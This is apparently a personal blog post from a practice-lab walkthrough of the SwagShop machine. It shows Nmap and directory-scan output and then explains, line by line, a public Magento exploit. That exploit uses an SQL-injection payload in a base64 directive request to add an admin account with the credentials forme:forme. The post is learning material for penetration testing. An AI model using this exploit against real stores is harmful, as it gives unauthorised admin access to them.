SwagShop is another machine on TJ Null's list of OSCP-like practice targets. It's considered an easy box.

Of course, easy is subjective, and it all depends on where your strengths lie.

Nmap scan

Of course we start with the good ol' Nmap scan:

sudo nmap -T4 -p 22,80 -sC -sSV -oN scriptScan
[sudo] password for nux:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-13 20:38 CDT
Nmap scan report for
Host is up (0.14s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                                             
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)                                             
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)                                            
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)                                          
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))                                                        
|_http-server-header: Apache/2.4.18 (Ubuntu)                                                               
|_http-title: Home page                                                                                    
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                    

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .             
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds

Well, that doesn't give us a whole lot of options.

Port 22 – SSH

Not a lot we can do here. SSH is going to be pretty secure unless we get creds. It does tell us a little bit about the OS: OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

Port 80 - HTTP

Under HTTP, I find the following directories when I run GoBuster:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -t 100 -o bigList

/media (Status: 301)
/index.php (Status: 200)
/includes (Status: 301)
/lib (Status: 301)
/install.php (Status: 200)
/app (Status: 301)
/js (Status: 301)
/api.php (Status: 200)
/shell (Status: 301)
/skin (Status: 301)
/cron.php (Status: 200)
/LICENSE.txt (Status: 200)
/var (Status: 301)
/errors (Status: 301)
/mage (Status: 200)
/server-status (Status: 403)

Eventually I found an interesting file:


I thought that might be a hash at first, but I couldn't find any wordlists that would crack it. Either way, I will hold onto it for now.

What we know so far

The things we know so far:

  • Port 80 is running Magento
  • We've found some interesting directories, but none of them is quite of use yet.
  • Bottom of the page reads 2014 Magento Demo Store. All Rights Reserved. May be due for some updates.
  • Lots of interesting vulns on ExploitDB.

A lot of the vulns look like they could provide RCE. That's what we're interested in.

We can't find an admin login page anywhere. However, this could be interesting: https://www.exploit-db.com/exploits/37977

The script actually works, but let's look at why before we exploit.

Breaking down the script

It allows for user account creation. Let's take a look at the code a few lines at a time. I need some Python practice anyway:

import requests
import base64
import sys

First, we import the libraries: requests, base64 and sys:

  • requests - allows you to send http requests.
  • base64 - module for encoding and decoding base64.
  • sys - system-specific parameters and functions - Tutorial

First, it creates a variable called target and we set our target URL. Then it checks if our target starts with "http." If it doesn't, it appends "http://" to our target url. It we added a "/" to the end of our target url, it removes it.

After that, it adds "/admin/Cms_Wysiwyg/directive/index/" to the target url. In the example below, the final variable for target_url would be: http://target.com/admin/Cms_Wysiwyg/directive/index/

target = "http://target.com/"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

There's no argparser in the script so the variable have to be assigned manually, which kind of sucks. Maybe updating a script like this one can be a future project.

Then it creates a variable called "q" and does what looks to be some SQL-fu to create an admin user and password then assign them an admin rule based on the username and password in the script (be default both name and password are "forme."

SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');

It then creates a variable called query, removes "\n" (newline) characters and replaces "username" and "password" each with "forme." It I wanted to add my own username and password combination, this is where I would change it in the code.

query = q.replace("\n", "").format(username="forme", password="forme")

Then it creates a new variable called pfilter. I'm not entirely sure what popularity is at this point, it might be directly related to Magento. It appends the query.

pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

Now it creates a variable called r and invokes the requests module. It makes a post request using our target_url (in our example based on the default script settings, that's: http://target.com/admin/Cms_Wysiwyg/directive/index/

r = requests.post(target_url, 
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})

The data it sends in the post request is:

{"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ", "filter": base64.b64encode(pfilter),"forwarded": 1}

Which consists of "___directive", a base64-encoded string that decodes to: {{block type=Adminhtml/report_search_grid output=getCsvFile}} and "filter" which is a base64 encoded string of our pfilter value and "forwarded" set to 1.

Finally, it just confirms whether the script worked or not:

if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
    print "DID NOT WORK"

If it worked, it tells you where to go for the login url.

More later ...

Well, this one was a little unusual. I was going to start with a regular write-up, but I figured it was more useful to actually try to learn while doing. I can run any exploit script against a target, but what's the use if I don't know what it's actually doing?

I broke down this simple script line-by-line so I could take a closer look at what's happening and make some sense of it.

Hopefully that was somewhat helpful to the two or three readers I have. I will continue working on the box very soon and post the rest of the walkthrough.